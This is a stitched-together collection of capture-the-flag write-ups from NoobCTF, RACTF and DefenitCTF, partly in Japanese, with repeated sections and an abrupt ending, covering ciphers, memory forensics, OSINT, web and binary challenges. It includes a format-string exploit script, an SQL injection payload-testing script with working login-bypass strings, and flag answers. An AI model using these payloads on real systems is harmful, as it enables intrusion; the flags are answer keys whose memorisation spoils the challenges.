The new cipher seems to be encoded in base 64, but it doesn't work, after some try, we find that it is encoded in base 58 and we get:```noob{base58_85}```https://gchq.github.io/CyberChef/#recipe=From_Base85('!-u')From_Base58('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz',true)&input=MWNAXig5bDtzYTJjM0xuMjBfTWY8JiZWczxy
The flag is: `noob{base58_85}`
## Memory Forensic
### Mr. Pr0xy's Gift :)```I have some gifts for you in zip file. Download the file to get it.Good Luck !!! HackersLink: https://www.shortto.com/memdump```
In zip archive, there are two files (`memdump` and `flag.txt`), open `flag.txt` and read flag: `noob{Welcome_To_Memory_Forensic}`
### ##Parent Process##```What is the parent process id of Desktop Windows Manager?file: memdump```
To analyse this memory dump, we will use Volatility (https://github.com/volatilityfoundation/volatility)
First, we find the profile of the memory dump:``` bash> vol -f memdump imageinfoVolatility Foundation Volatility Framework 2.6.1INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418 AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) AS Layer2 : FileAddressSpace (/home/tom.rorato/Downloads/image/memdump) PAE type : No PAE DTB : 0x187000L KDBG : 0xf80002c420a0L Number of Processors : 1 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0xfffff80002c43d00L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2020-06-02 20:02:03 UTC+0000 Image local date and time : 2020-06-02 16:02:03 -0400```We will use the profile `Win7SP1x64`
Then, list all processes running at the time of the memory dump:``` bash> vol -f memdump --profile Win7SP1x64 pslistVolatility Foundation Volatility Framework 2.6.1Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit ------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------[...] 0xfffffa8003cb7190 dwm.exe 2512 856 3 70 1 0 2020-06-02 19:41:51 UTC+0000[...]```
The `Desktop Windows Manager` executable is `dwm.exe`, its PID is `2512`, ant the PID of its parent is `856`
So, the flag is `noob{856}`
## Forensic
### It's easy```It's just an imagefile: iameasy.zip```
We open `iameasy.zip` and extract `iameasy.jpg` but we can't open `iameasy.jpg` as image
``` bash> hexdump -C iameasy.jpg | head -n100000000 05 10 19 02 00 10 4a 46 49 46 00 01 01 00 00 48 |......JFIF.....H|```
We can see that the file signature of `iameasy.jpg` correspond to none of files listed in https://en.wikipedia.org/wiki/List_of_file_signatures
So, we change the firsts bytes by the file signature of `jpg` files with a hex editor``` bash> hexdump -C iameasy.jpg | head -n100000000 ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 48 |......JFIF.....H|```
Then, we can correctly open `iameasy.jpg` and read the flag: `noob{1_t0ld_y0u_1ts_34sy}`
## OSINT
### #t4g```#we_are_noobarmy```On twitter, we found one post in hashtasg we_are_noobarmy: https://twitter.com/noobarmy_/status/1270305947718746114:```N00B_4rMY (@noobarmy_)Noobs love 0x3e
1Bs791Hj97cM9rum9ifaUcU9hDPGmUdCf
#we_are_noobarmy```
The flag seems to be encoded in base 64 but in reality it is encoded in base62 lmao:https://gchq.github.io/CyberChef/#recipe=From_Base62('0-9A-Za-z')&input=MUJzNzkxSGo5N2NNOXJ1bTlpZmFVY1U5aERQR21VZENm
The flag is: `noob{B4sE62_4nd_h4shT4g}`
|
# Finches in a Stack
###`Exploit the service to get the flag.`
``` Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)```
This task about canary abuse but it is possible to do it via `.got`address rewrite.
* find out with dbg where the buffer starts* change 'puts' on 'flag' because `.got.plt` is possible to rewrite
```python#!/usr/bin/env python3from pwn import *
context.log_level = 'debug'debug = 0
if debug: io = remote('88.198.219.20', 31360)else: io = process(['./fias'])binary = ELF('./fias')flag = binary.symbols['flag']# .got.plt puts addressputs = 0x0804c01c
payload = b''# 6 pointer to string bufferpayload += fmtstr_payload(6, {puts: flag})
io.recvuntil("Hi! What's your name? ")io.sendline(payload)
io.interactive()#ractf{St4ck_C4n4ry_FuN!}``` |
# Brick by Brick:OSINT:400ptsWow! You're killing these! One of our social media monitoring team just sent us an urgent message. I've reproduced it below for you. > FROM: @ .org > TO: @ .org > > Sorry about the Instagram account fiasco. > > > > It looks like the target still hasn't learnt radio > > silence, and has just created a Twitter account, with > > the same handle! It doesn't look especially active, > > but we managed to find a photo of where he was > > yesterday. > > > > Can you work out what town this photo was taken in? > > > > One of the other guys on the team thinks if we know > > where he was we should be able to track him down faster. > END
As usual, we've set up the map. It should be accurate to 2km.  [hires.jpg](hires.jpg)
# SolutionOSINT問題のようだ。 地図上の座標を特定してやればよい。 画像検索したいが、大きすぎて画像がアップロードできないので縮小して検索する。 romanesque bridge of besalúがヒットした。 GoogleImages [Gis.png](images/Gis.png) Googleマップでromanesque bridge of besalúを検索して写真の位置へ移動する。 GoogleMaps [Gms.png](images/Gms.png) 42.1991252,2.701906ここのようだ。
## 42.1991252,2.701906 |
## Solution:* From the given cipher text > 1209-770 1209-770 1477-697 1477-697 1336-770 1336-770 1336-770 1336-770 1336-770 1336-770 1477-770 1477-770 1477-770 1477-697 1336-852 1477-770 1477-697 1477-697 1477-697* By seeing this i remembered it as `DTMF CODE` * Using [https://www.dcode.fr/dtmf-code](http://https://www.dcode.fr/dtmf-code) this decode the cipher. We get the following> 4433555555666386333* The above numbers are `Multi-tap Phone Cipher (SMS)`* Using [https://www.dcode.fr/multitap-abc-cipher](http://) we can decode it.* The decrypted cipher text is> HELLODTMF### * Flag:`noob{HELLODTMF}` |
# NoobCTF 0x1 2020
Tue, 09 June 2020, 12:30 CEST — Wed, 10 June 2020, 07:30 CEST
## Crypto
### WhatThe#
```My brain can't interpret this, can you?file: cipher.txt```cipher.txt:``` brainfuck----------]<-<---<-------<---------->>>>+[<<<<----------,-,,+++++++++++++,-------------------------,>--------,>------------------,<<+++++++,>-----------------,>----,<<++++++++,-----------,>>,<<--,>>-,<,---,<+++++++,>>+,+++,<<++++,---------------,```
The cipher content is clearly brainfuck instructions and we use https://copy.sh/brainfuck/ to run it, but it doesn't run because there are invalid instructions
``` brainfuck+ and - are swapped> and < are swapped[ and ] are swapped, and . are swapped```The plaintext program is:``` brainfuck++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++.+..-------------.+++++++++++++++++++++++++.<++++++++.<++++++++++++++++++.>>-------.<+++++++++++++++++.<++++.>>--------.+++++++++++.<<.>>++.<<+.>.+++.>-------.<<-.---.>>----.+++++++++++++++.```
And it write the flag: `noob{N0t_4lw4y5_br41n}`
### BASEd```A Simple Crypto Based Challenge. Combination of 2 bases :)Cipher: 1c@^(9l;sa2c3Ln20_Mf<&&Vs<r```
The cipher seems to be encoded in base 85
With https://gchq.github.io/CyberChef, we put the cipher with filter `From base 85` and get:```46CYMn9K7QSq5xDST1xTW```
The new cipher seems to be encoded in base 64, but it doesn't work, after some try, we find that it is encoded in base 58 and we get:```noob{base58_85}```https://gchq.github.io/CyberChef/#recipe=From_Base85('!-u')From_Base58('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz',true)&input=MWNAXig5bDtzYTJjM0xuMjBfTWY8JiZWczxy
The flag is: `noob{base58_85}`
## Memory Forensic
### Mr. Pr0xy's Gift :)```I have some gifts for you in zip file. Download the file to get it.Good Luck !!! HackersLink: https://www.shortto.com/memdump```
In zip archive, there are two files (`memdump` and `flag.txt`), open `flag.txt` and read flag: `noob{Welcome_To_Memory_Forensic}`
### ##Parent Process##```What is the parent process id of Desktop Windows Manager?file: memdump```
To analyse this memory dump, we will use Volatility (https://github.com/volatilityfoundation/volatility)
First, we find the profile of the memory dump:``` bash> vol -f memdump imageinfoVolatility Foundation Volatility Framework 2.6.1INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418 AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) AS Layer2 : FileAddressSpace (/home/tom.rorato/Downloads/image/memdump) PAE type : No PAE DTB : 0x187000L KDBG : 0xf80002c420a0L Number of Processors : 1 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0xfffff80002c43d00L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2020-06-02 20:02:03 UTC+0000 Image local date and time : 2020-06-02 16:02:03 -0400```We will use the profile `Win7SP1x64`
Then, list all processes running at the time of the memory dump:``` bash> vol -f memdump --profile Win7SP1x64 pslistVolatility Foundation Volatility Framework 2.6.1Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit ------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------[...] 0xfffffa8003cb7190 dwm.exe 2512 856 3 70 1 0 2020-06-02 19:41:51 UTC+0000[...]```
The `Desktop Windows Manager` executable is `dwm.exe`, its PID is `2512`, ant the PID of its parent is `856`
So, the flag is `noob{856}`
## Forensic
### It's easy```It's just an imagefile: iameasy.zip```
We open `iameasy.zip` and extract `iameasy.jpg` but we can't open `iameasy.jpg` as image
``` bash> hexdump -C iameasy.jpg | head -n100000000 05 10 19 02 00 10 4a 46 49 46 00 01 01 00 00 48 |......JFIF.....H|```
We can see that the file signature of `iameasy.jpg` correspond to none of files listed in https://en.wikipedia.org/wiki/List_of_file_signatures
So, we change the firsts bytes by the file signature of `jpg` files with a hex editor``` bash> hexdump -C iameasy.jpg | head -n100000000 ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 48 |......JFIF.....H|```
Then, we can correctly open `iameasy.jpg` and read the flag: `noob{1_t0ld_y0u_1ts_34sy}`
## OSINT
### #t4g```#we_are_noobarmy```On twitter, we found one post in hashtasg we_are_noobarmy: https://twitter.com/noobarmy_/status/1270305947718746114:```N00B_4rMY (@noobarmy_)Noobs love 0x3e
1Bs791Hj97cM9rum9ifaUcU9hDPGmUdCf
#we_are_noobarmy```
The flag seems to be encoded in base 64 but in reality it is encoded in base62 lmao:https://gchq.github.io/CyberChef/#recipe=From_Base62('0-9A-Za-z')&input=MUJzNzkxSGo5N2NNOXJ1bTlpZmFVY1U5aERQR21VZENm
The flag is: `noob{B4sE62_4nd_h4shT4g}`
|
# Finding server information:Web:350ptsChallenge instance ready at 95.216.233.106:10175. See if you can find the source, we think it's called app.py
# SolutionアクセスするとSign inとSign upがあるが、Sign upは現在停止しているようだ。 RAQE [site1.png](../Quarantine_-_Hidden_information/site/site.png) SQLインジェクション`t' OR LENGTH(username) = 5 --`でログインすると動画が見られるようだ。 Three videos avaliable [site2.png](../Quarantine/site/flag.png) /watch/HMHT.mp4 [site3.png](site/site3.png) /watch/TIOK.mp4 [site4.png](site/site4.png) /watch/TCYI.mp4 [site5.png](site/site5.png) どこもおかしな点は見られないが、data:video/mp4;が埋め込まれている。 ファイル名を問題の通りapp.pyにしてみる。 /watch/app.py [site6.png](site/site6.png) 読み込めていないように見えるが、ソースにしっかりと埋め込まれている。 ```html~~~ <center> <h1>Watch video</h1> <div class="video"> <video controls src="data:video/mp4;base64,ractf{qu3ry5tr1ng_m4n1pul4ti0n}"></video> </div> </center>~~~```
## ractf{qu3ry5tr1ng_m4n1pul4ti0n} |
# Quarantine
After testing on the website I found that entering `'` in the password field gave a 500 error.
Yesss - SQL Injection!
I then copied a load of sql injection payloads from [here](https://medium.com/@ismailtasdelen/sql-injection-payload-list-b97656cfd66b) into a text file
## Writing a python script to test all the payloads
```pythonimport requestsimport re
url = "http://95.216.233.106:15009/sign-in"Headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "http://95.216.233.106:15009/sign-in", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close", "Upgrade-Insecure-Requests": "1"}Payloads = open('injection.txt','r')
for payload in Payloads: payload = payload.strip() Data = {"user": "admin", "pass": payload} success = requests.post(url, headers=Headers, data=Data) error1 = re.findall('Invalid username / password', success.text) error2 = re.findall('Attempting to login as more than one user!??', success.text) if len(error1) == 0 and len(error2) == 0: if success.status_code == 200: print(payload)```
```$ python3 exploit.py -1' UNION SELECT 1,2,3--+```Enter the payload into the password field and you get the flag.
**ractf{Y0u_B3tt3r_N0t_h4v3_us3d_sqlm4p}** |
# Finding server information
Once logged in go to one of the videos.
In the source the image is embeded as base64 meaning the files are stored client-side.
Visit `/watch/app.py`.
Look in the source again and the flag is there.
**ractf{qu3ry5tr1ng_m4n1pul4ti0n}** |
# I'am 4 Farmerrrrr!
**DESCRIPTION:**
I watched this video tutorial but i don't understand what it takes to be a `FARMER`. [video](https://www.youtube.com/watch?v=9nGrDl5_zrc)
I am `noob` can you help me??
Remember, noob can be a secret to your valuable plant
n+FP9N5Mo17rJQOmEWXU3/Pm4HFMTtb/3+iN+brp8Nk=
**Solution:**
*This is a seed-cbc encryption*
go to this link [seed-cbc](https://encode-decode.com/seed-cbc-encrypt-online/) and paste the cipher text
`n+FP9N5Mo17rJQOmEWXU3/Pm4HFMTtb/3+iN+brp8Nk=` in the `paste string for decoding` box and paste `noob` in the `paste secret` box and you will get the flag.
**flag : noob{s33d_encryp7_1sn't_1t?}** |
# Quarantine - Hidden information
Visiting the site `http://95.216.233.106:15009` shows a web page with a Login and Sign-Up option.
Visit `http://95.216.233.106:15009/robots.txt`.
```User-Agent: *Disallow: /admin-stash```
Go to the `Disallow` link and the flag is there.
`http://95.216.233.106:15009/admin-stash`
**ractf{1m_n0t_4_r0b0T}** |
# Spentalkux ??
## Installing Spentalkux
From the Brief we can see it is a python package.Downloading it and importing it gives the cipher text:```$ pip install spentalkux$ python>>> import spentulkuxHello.Can I help you?Oh, you're looking for something to do with *that*.My creator left this behind but, I wonder what the key is? I don't know, but if I did I would say it's about 10 characters.Enjoy this.Ztpyh, Iq iir'jt vrtdtxa qzxw lhu'go gxfpkrw tz pckv bc ybtevy... *ffiieyano*. New cikm sekab gu xux cskfiwckr bs zfyo si lgmpd://zupltfvg.czw/lxo/QGvM0sa6Goodbye now.That's your cue to leave, broExit stage left, palOFF YOU POP.You know what I haven't got time for thisForking and executing rm -rf.```
The code can be deciphered with a Vigenere cipher using the key: spentalkux
Then visit pastebin "https://pastebin.com/BCiT0sp6" and decode hex that forms an image
The image says to `look back into the past` which means the previous release of spentalkux
`pip install spentalkux==0.9`
It then gives another code
`JA2HGSKBJI4DSZ2WGRAS6KZRLJKVEYKFJFAWSOCTNNTFCKZRF5HTGZRXJV2EKQTGJVTXUOLSIMXWI2KYNVEUCNLIKN5HK3RTJBHGIQTCM5RHIVSQGJ3C6MRLJRXXOTJYGM3XORSIJN4FUYTNIU4XAULGONGE6YLJJRAUYODLOZEWWNCNIJWWCMJXOVTEQULCJFFEGWDPK5HFUWSLI5IFOQRVKFWGU5SYJF2VQT3NNUYFGZ2MNF4EU5ZYJBJEGOCUMJWXUN3YGVSUS43QPFYGCWSIKNLWE2RYMNAWQZDKNRUTEV2VNNJDC43WGJSFU3LXLBUFU3CENZEWGQ3MGBDXS4SGLA3GMS3LIJCUEVCCONYSWOLVLEZEKY3VM4ZFEZRQPB2GCSTMJZSFSSTVPBVFAOLLMNSDCTCPK4XWMUKYORRDC43EGNTFGVCHLBDFI6BTKVVGMR2GPA3HKSSHNJSUSQKBIE`
The rest can be done in cyberchef
From Base32 -> From Base64 -> Gunzip -> From Binary -> From Binary -> From Hex -> From Base85
**ractf{My5t3r10u5_1nt3rf4c3?}** |
# MoM's touch (re, 167p, 98 solved)
A classic RE challenge.We get ELF [binary](https://raw.githubusercontent.com/TFNS/writeups/master/2020-06-05-DefenitCTF/moms_touch/momsTouch) to reverse.
## Analysis
The main is just:
```cint main(void)
{ ssize_t inputLen; size_t inputStrlen; undefined4 check; char *msg; char *inputBuffer; FUN_080486b0(); puts("Mom Give Me The FLAG!"); inputBuffer = (char *)malloc(100); if (inputBuffer == (char *)0x0) { inputBuffer = "[*]Error : malloc()"; } else { inputLen = read(0,inputBuffer,100); if (-1 < inputLen) { if (inputBuffer[inputLen + -1] == '\n') { inputBuffer[inputLen + -1] = '\0'; } inputStrlen = strlen(inputBuffer); if (inputStrlen == 0x49) { check = flag_check(inputBuffer); if ((char)check == '\0') { msg = "Try Again.."; } else { msg = "Correct! Mom! Input is FLAG!"; } puts(msg); free(inputBuffer); return 0; } puts("Mom, Check the legnth.."); exit(0); } inputBuffer = "[*]Error : read()"; } perror(inputBuffer); exit(-1);}```
There are 2 checks, first one is `inputStrlen == 0x49` so we know the flag length is `0x49` bytes long.
Now the real flag checker:
```cint flag_check(char *input)
{ uint some_const; int random; uint random2; int index; index = 0; do { some_const = random_generated_consts[index]; random = rand(); random2 = random + ((random / 0xff + (random >> 0x1f)) - (int)((longlong)random * 0x80808081 >> 0x3f)) * -0xff; if (((int)input[index] ^ random_generated_consts[(some_const >> 4 | some_const << 4) & 0xff] ^ random_generated_consts[(random2 >> 2 | random2 * 4) & 0xff]) != target[index]) { return 0; } index = index + 1; } while (index < 0x49); return 1;}```
It seems strange, because this code is using some memory at `080492ac` which we haven't seen yet, and also utilizes `rand()` function!We can look at this memory and follow where it's written - turns out it's in `_INIT_1`.This function also contains `srand(0xff)`.It explains how the binary uses `rand()` and yet the results are somehow reproducible (after all the flag has to be always the same).
## Solution
Now we could try to reverse the generation of this `random_generated_consts` and then figure out the values which are XORed with our input and compared against a static buffer at `08049144` but there is an easier way.
We can put a breakpoint in the code, where the XOR happens.Then either dump the XOR keystream, or simply brute-force the input values to match the target.We chose the second one, because it was simpler to write:
1. Put breakpoint at `0x8048812` where the final cmp instruction is located2. Create file with input for the flag (possible also with `r <<< $(python -c "print...")` but can have issues with weird characters).3. Run the binary with given inputs `r < input.txt`4. Now execute continue as many times as we already know characters in the flag (since it will trigger the breakpoint every time)5. Finally we do one last continue, and now there are 2 outcomes: - if our character was valid, we will hit another breakpoint - if our character was invalid, we will immediately return with 0 and binary will exit
```pythonimport gdbimport codecsimport stringgdb.execute("break *0x8048812") # cmpflag = "Defenit{"for i in range(0x49-len(flag)): for c in string.printable: potential_flag = flag+c with codecs.open("input.txt","w") as output_file: padding = 0x49-len(potential_flag) output_file.write(potential_flag+('a'*padding)) try: gdb.execute("r < input.txt") for j in range(len(potential_flag)): # skip known chars gdb.execute("continue") gdb.execute("continue") print("hit breakpoint!") #good character flag = potential_flag print("current flag", flag) break except: # program exited without hitting any breakpoints continueprint(flag)```
This approach will fail for the very last flag character, but we don't care, we know it's `}`.
We can run this with `gdb ./momsTouch -x solver.py` and after a moment we get back:
`Defenit{ea40d42bfaf7d1f599abf284a35c535c607ccadbff38f7c39d6d57e238c4425e}` |
# Cut Short:Steg / Forensics:200ptsThis image refuses to open in anything, which is a bit odd. Open it for the flag! [flag.png](flag.png)
# Solutionflag.pngを開いても壊れている。 png recovery onlineでググると以下のサイトが出てくる。 https://online.officerecovery.com/jp/pixrecovery/ ラッキーなことに無料体験ができるので修復を試みると以下の画像が得られた。   邪魔なロゴを透かして読むとflagが得られる。 ロゴと待機時間が最悪。 自分で修復した方がいい。
## ractf{1m4ge_t4mp3r1ng_ftw} |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-writeups</span></span></span><span>/</span>noobctf-20<span>/</span> </div> </div>
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# pearl pearl pearl
The challenge is on a service at `95.216.233.106:26551`
connecting to the service shows:
```$ nc 95.216.233.106 26551ctf{pearlpearlpearl}ctf{pearlpearlpearl}ctf{pearlpearlpearl}ctf{pearlpearlpearl}ctf{pearlpearlpearl}ctf{pearlpearlpearl}ctf{pearlpearlpearl}ctf{pearlpearlpearl}ctf{pearlpearlpearl}ctf{pearlpearlpearl}ctf{pearlpearlpearl}ctf{pearlpearlpearl}ctf{pearlpearlpearl}ctf{pearlpearlpearl}...```
The flag for this challenge was hidden in the new line characters
I then extracted the new line characters using python and converted the binary characters to the flag
```pythonimport socket
hostname = '95.216.233.106'port = 18058
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((hostname, port))
totalData = ''
while True: data = s.recv(100000) if len(data) > 0: totalData += str(data).replace('ctf{pearlpearlpearl}','').replace('pearl','') else: break
Binary = ''count = 0for char in totalData: if char == 'r': Binary += '0' count += 1 if char == 'n': Binary += '1' count += 1 if count == 8: Binary += ' ' count = 0
flag = Binary.split()
for binary in flag: print(chr(int(binary,2)), end='')
print()s.close()```
**ractf{p34r1_1ns1d3_4_cl4m}** |
# **RACTF 2020**
RACTF is a student-run, extensible, open-source, capture-the-flag event.
In more human terms, we run a set of cyber-security challenges, of many different varieties, with many difficulty levels, for the sole purposes of having fun and learning new skills.
This is the ninth CTF I participated in and by far the best one, the challenges were great, funny and not too guessy, the framework was really good and stable (in other words not CTFd), and the CTF team were friendly and helpful.\In the end I finished most of the crypto, misc, osint and web challenges (I will add more when I'll have time) and ended up around 100th in the leaderboard (I played solo so it's not too shaby), this is my second writeup and hopefully more will come, if you have any comments, questions, or found any error (which I'm sure there are plenty of) please let me know. Thanks for reading!
***
# Table of Contents* [Miscellaneous](#Miscellaneous) - [Discord](#discord) - [Spentalkux](#spentalkux) - [pearl pearl pearl](#pearl-pearl-pearl) - [Reading Beetwen the Lines](#reading-between-the-lines) - [Mad CTF Disease](#mad-ctf-disease) - [Teleport](#teleport)* [Cryptography](#cryptography) - [Really Simple Algorithm](#really-simple-algorithm) - [Really Small Algorithm](#really-small-algorithm) - [Really Speedy Algorithm](#really-speedy-algorithm) - [B007l3G CRYP70](#b007l3g-cryp70)* [Steg / Forensics](#steg--forensics) - [Cut short](#cut-short) - [Dimensionless Loading](#dimensionless-loading)
***# Miscellaneous
## Discord(for the sake of completion)
Join our discord over at https://discord.gg/Rrhdvzn and see if you can find the flag somewhere.
**ractf{the_game_begins}**
**Solution:** the flag is pinned in #general channel in the discord server.
## Spentalkux Spentalkux ??
**ractf{My5t3r10u5_1nt3rf4c3?}**
**Solution:** We don't get a lot of information, but we can assume by the emojis that the challenge has something to do with python packages, if we serach for the word Spentalkux on google we can find this package:
I downloaded the package (linked below) and examined the files, in the package we can find the \_\_init\_\_.py file which has the following code:```pythonimport base64p="""aW1wb3J0IHRpbWUKCmdvX2F3YXlfbXNncyA9IFsiR29vZGJ5ZSBub3cuIiwgIlRoYXQncyB5b3VyIGN1ZSB0byBsZWF2ZSwgYnJvIiwgIkV4aXQgc3RhZ2UgbGVmdCwgcGFsIiwgIk9GRiBZT1UgUE9QLiIsICJZb3Uga25vdyB3aGF0IEkgaGF2ZW4ndCBnb3QgdGltZSBmb3IgdGhpcyIsICJGb3JraW5nIGFuZCBleGVjdXRpbmcgcm0gLXJmLiJdCgp0aW1lLnNsZWVwKDEpCnByaW50KCJIZWxsby4iKQp0aW1lLnNsZWVwKDIpCnByaW50KCJDYW4gSSBoZWxwIHlvdT8iKQp0aW1lLnNsZWVwKDIpCnByaW50KCJPaCwgeW91J3JlIGxvb2tpbmcgZm9yIHNvbWV0aGluZyB0byBkbyB3aXRoICp0aGF0Ki4iKQp0aW1lLnNsZWVwKDIpCnByaW50KCJNeSBjcmVhdG9yIGxlZnQgdGhpcyBiZWhpbmQgYnV0LCBJIHdvbmRlciB3aGF0IHRoZSBrZXkgaXM/IEkgZG9uJ3Qga25vdywgYnV0IGlmIEkgZGlkIEkgd291bGQgc2F5IGl0J3MgYWJvdXQgMTAgY2hhcmFjdGVycy4iKQp0aW1lLnNsZWVwKDQpCnByaW50KCJFbmpveSB0aGlzLiIpCnRpbWUuc2xlZXAoMSkKcHJpbnQoIlp0cHloLCBJcSBpaXInanQgdnJ0ZHR4YSBxenh3IGxodSdnbyBneGZwa3J3IHR6IHBja3YgYmMgeWJ0ZXZ5Li4uICpmZmlpZXlhbm8qLiBOZXcgY2lrbSBzZWthYiBndSB4dXggY3NrZml3Y2tyIGJzIHpmeW8gc2kgbGdtcGQ6Ly96dXBsdGZ2Zy5jencvbHhvL1FHdk0wc2E2IikKdGltZS5zbGVlcCg1KQpmb3IgaSBpbiBnb19hd2F5X21zZ3M6CiAgICB0aW1lLnNsZWVwKDMpCiAgICBwcmludChpKQp0aW1lLnNsZWVwKDAuNSk="""exec(base64.b64decode(p.encode("ascii")))```We can see that this massive block of seemingly random characters is encoded to ascii and then decoded to base64, a type of encoding which uses letter, numbers and symbols to represent a value, so I plugged the block of text to Cyberchef to decode the data and got the following script:
```pythonimport time
go_away_msgs = ["Goodbye now.", "That's your cue to leave, bro", "Exit stage left, pal", "OFF YOU POP.", "You know what I haven't got time for this", "Forking and executing rm -rf."]
time.sleep(1)print("Hello.")time.sleep(2)print("Can I help you?")time.sleep(2)print("Oh, you're looking for something to do with *that*.")time.sleep(2)print("My creator left this behind but, I wonder what the key is? I don't know, but if I did I would say it's about 10 characters.")time.sleep(4)print("Enjoy this.")time.sleep(1)print("Ztpyh, Iq iir'jt vrtdtxa qzxw lhu'go gxfpkrw tz pckv bc ybtevy... *ffiieyano*. New cikm sekab gu xux cskfiwckr bs zfyo si lgmpd://zupltfvg.czw/lxo/QGvM0sa6")time.sleep(5)for i in go_away_msgs: time.sleep(3) print(i)time.sleep(0.5)```I think I needed to import the package to a script and run it but oh well we still got the message, so we are given another unreadable text which we can assume is a ciphertext with a key of length 10 as the messages suggested, we can infer by the ciphertext that it's a Vigenere cipher beacuse the format of the text and the format of the url in the end suggests that the letters were substituted (and it is common to use Vigenere in CTF so it's an easy assumption), I first attempted to decrypt the url using Cyberchef with the assumption that it starts with https and got the substring of the key 'ental', and after trying to get other parts of the url decrpyted I noticed that the key is similar to the name of the package, so I used that as a key et voila:```Hello, If you're reading this you've managed to find my little... *interface*. The next stage of the challenge is over at https://pastebin.com/raw/BCiT0sp6```We got ourself the decrpyted message.\ In the messege is a url to some data hosted on pastebin, if you look at the site you'll see that the data consists of numbers from 1 to 9 and some uppercase letters, only from A to F (I will not show it here beacuse it's massive), I assumed that it was an hex encoding of something and by the sheer size of it I gueesed that it's also a file, so I used an hex editor and created a new file with the data and it turns out to be an PNG image file (you can check things like that using the file command in linux), the image is:
So we need to look back into the past... maybe there is an earlier version of this package (btw the binary below is decoded to _herring which I have no clue what it means), when we check the release history of the spentalkux package in pypi.org we can see that there is a 0.9 version of it, so I downloaded this package and again looked at the \_\_init\_\_.py file, it contains the following code:```pythonimport base64p="""aW1wb3J0IHRpbWUKCmdvX2F3YXlfbXNncyA9IFsiVGhpcyBpcyB0aGUgcGFydCB3aGVyZSB5b3UgKmxlYXZlKiwgYnJvLiIsICJMb29rLCBpZiB5b3UgZG9uJ3QgZ2V0IG91dHRhIGhlcmUgc29vbiBpbWEgcnVuIHJtIC1yZiBvbiB5YSIsICJJIGRvbid0IHdhbnQgeW91IGhlcmUuIEdPIEFXQVkuIiwgIkxlYXZlIG1lIGFsb25lIG5vdy4iLCAiR09PREJZRSEiLCAiSSB1c2VkIHRvIHdhbnQgeW91IGRlYWQgYnV0Li4uIiwgIm5vdyBJIG9ubHkgd2FudCB5b3UgZ29uZS4iXQoKdGltZS5zbGVlcCgxKQpwcmludCgiVXJnaC4gTm90IHlvdSBhZ2Fpbi4iKQp0aW1lLnNsZWVwKDIpCnByaW50KCJGaW5lLiBJJ2xsIHRlbGwgeW91IG1vcmUuIikKdGltZS5zbGVlcCgyKQpwcmludCgiLi4uIikKdGltZS5zbGVlcCgyKQpwcmludCgiQnV0LCBiZWluZyB0aGUgY2hhb3RpYyBldmlsIEkgYW0sIEknbSBub3QgZ2l2aW5nIGl0IHRvIHlvdSBpbiBwbGFpbnRleHQuIikKdGltZS5zbGVlcCg0KQpwcmludCgiRW5qb3kgdGhpcy4iKQp0aW1lLnNsZWVwKDEpCnByaW50KCJKQTJIR1NLQkpJNERTWjJXR1JBUzZLWlJMSktWRVlLRkpGQVdTT0NUTk5URkNLWlJGNUhUR1pSWEpWMkVLUVRHSlZUWFVPTFNJTVhXSTJLWU5WRVVDTkxJS041SEszUlRKQkhHSVFUQ001UkhJVlNRR0ozQzZNUkxKUlhYT1RKWUdNM1hPUlNJSk40RlVZVE5JVTRYQVVMR09OR0U2WUxKSlJBVVlPRExPWkVXV05DTklKV1dDTUpYT1ZURVFVTENKRkZFR1dEUEs1SEZVV1NMSTVJRk9RUlZLRldHVTVTWUpGMlZRVDNOTlVZRkdaMk1ORjRFVTVaWUpCSkVHT0NVTUpXWFVOM1lHVlNVUzQzUVBGWUdDV1NJS05MV0UyUllNTkFXUVpES05SVVRFVjJWTk5KREM0M1dHSlNGVTNMWExCVUZVM0NFTlpFV0dRM01HQkRYUzRTR0xBM0dNUzNMSUpDVUVWQ0NPTllTV09MVkxFWkVLWTNWTTRaRkVaUlFQQjJHQ1NUTUpaU0ZTU1RWUEJWRkFPTExNTlNEQ1RDUEs0WFdNVUtZT1JSREM0M0VHTlRGR1ZDSExCREZJNkJUS1ZWR01SMkdQQTNIS1NTSE5KU1VTUUtCSUUiKQp0aW1lLnNsZWVwKDUpCmZvciBpIGluIGdvX2F3YXlfbXNnczoKICAgIHRpbWUuc2xlZXAoMikKICAgIHByaW50KGkpCnRpbWUuc2xlZXAoMC41KQ=="""exec(base64.b64decode(p.encode("ascii")))```we again have a base64 encoded message, plugging it to Cyberchef gives us:
```pythonimport time
